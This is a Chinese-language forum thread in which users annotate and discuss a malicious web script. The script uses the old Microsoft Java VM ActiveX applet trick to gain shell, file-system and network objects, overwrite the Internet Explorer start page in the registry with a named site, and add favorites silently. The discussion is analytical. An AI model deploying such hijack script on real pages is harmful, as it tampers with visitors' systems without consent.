<SCRIPT> 
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 
// MS的java 虚拟机的activeX部件,我的机器上使用sun的VM就没有这个漏洞了。

//ActiveX initialization 
a1=document.applets[0];//引用刚才的java applet 
a1.setCLSID(""); //设置activeX的注册id
a1.createInstance(); //创建实例?yes
Shl = a1.GetObject(); //获取这个对象?yes
a1.setCLSID(""); //是不是初始化一个可以多次使用?创建多个对象
a1.createInstance(); 
FSO = a1.GetObject(); //文件对象FSO,如果不用这个名字我也猜不出来,
a1.setCLSID(""); 
a1.createInstance(); 
Net = a1.GetObject(); //a1这个对象创建了3个实例,它累不累,
...
WF = FSO.GetSpecialFolder(0); //使用FSO对象,获取window 目录

解决方案 »

  1.   

    <SCRIPT> 
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 
    //这一段我不知道怎么用语言说,反正我不大懂,就是做一个activeX组件吧,但是js的实现过程只需要这样吗?com没有学什么,,可以说是用com注册一个吗?
                               斑竹教我!!
    ////调用服务器端的java applet。"com.ms.activeX.ActiveXComponent"是微软java包中的一个java类
    function AddFavLnk(loc, DispName, SiteURL) 

    var Shor = Shl.CreateShortcut(loc + "" + DispName +".URL");//这个函数不懂不过看意思知道大概意思 Shor.TargetPath = SiteURL; 
    Shor.Save(); 

    //end add favorites or links function 
    function f(){ 
    try 

    //ActiveX initialization 
    a1=document.applets[0];//好奇怪的初始化,原理是什么?  ////取文档中第一个applet对象-就是上面的那个。下面就开始创建这个类的实例
    a1.setCLSID(""); //com的注册id??是不是
    a1.createInstance(); //创建实例?
    Shl = a1.GetObject(); //获取这个对象?
    a1.setCLSID(""); //是不是初始化一个可以多次使用?
    a1.createInstance(); 
    FSO = a1.GetObject(); //文件对象FSO,如果不用这个名字我也猜不出来,
    a1.setCLSID(""); 
    a1.createInstance(); 
    Net = a1.GetObject(); //a1这个对象创建了3个实例,它累不累,
    try 

    if (document.cookie.indexOf("Chg") == -1) 

    Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://sqdj.k666.com/");//写注册表,folder.htt用到的是写文件的函数,我忘记是什么了,:) 
    //folder.htt写了一段二进制,应该加过密的,,,不知道编码顺序
    //有谁知道阿,我好想知道哦var expdate = new Date((new Date()).getTime() + (1)); 
    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
    //end set home page 
    var expdate = new Date((new Date()).getTime() + (1)); 
    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
    //end Write Regedit 
    //add favorites this is the common part; should be here if you want to add favorites 
    var WF, Shor, loc; 
    WF = FSO.GetSpecialFolder(0); //使用了FSO对象,不过不知道获取的是什么目录,是根目录吗?////这是在服务器端指定的loc = WF + "Favorites"; 
    if(!FSO.FolderExists(loc)) 

    loc = FSO.GetDriveName(WF) + "Documents and Settings" + Net.UserName + "Favorites"; //net.username这个用法,,蛮有意思,呵呵,,收藏
    if(!FSO.FolderExists(loc)) 

    return; 


    //end common part 
    //the following line is used for adding favorites. 
    //to add multiple favorites, duplicate the following line, changing the last 2 paramaters. 
    AddFavLnk(loc, ""); 
    //end add favorites 


    catch(e) 
    {} 

    catch(e) 
    {} 

    function init() //最无聊的是这里,我的机器被它搞的好慢,原来是这个死循环,搞的我莫明奇妙
    //超级无聊,谁在写这种东西,要它去死,,虚假的运行,要是格我硬盘搞的我机器慢,我才服了他那,呵呵

    setTimeout("f()", 1000); 

    init(); 
    </SCRIPT>////综上:这只是一个用java applet的一个小小的例子罢了。目的是把网站的路径强制加入到你的收藏夹中。
      

  2.   

    有点意思,我也中过,不过是folder.htt文件多了一段加了密的代码,所以直接删了,也没研究过.
      

  3.   

    实际上得到了active x的运行权限,javascript基本上就可以做它想做的任何事了(喝喝,是不是太夸张了点,在winnt,win2k下它的权限仍然被限制在当前登录用户的权限范围内)
      

  4.   

    哦。thanks
    onestab(┼─) 我也是用的虚拟机,但是毒霸对这种代码也会抱病毒,,
    我装的是xp,默认不支持java的consle,升级sp也升不了,就硬下了一个虚拟机,
    applet一定是java吗?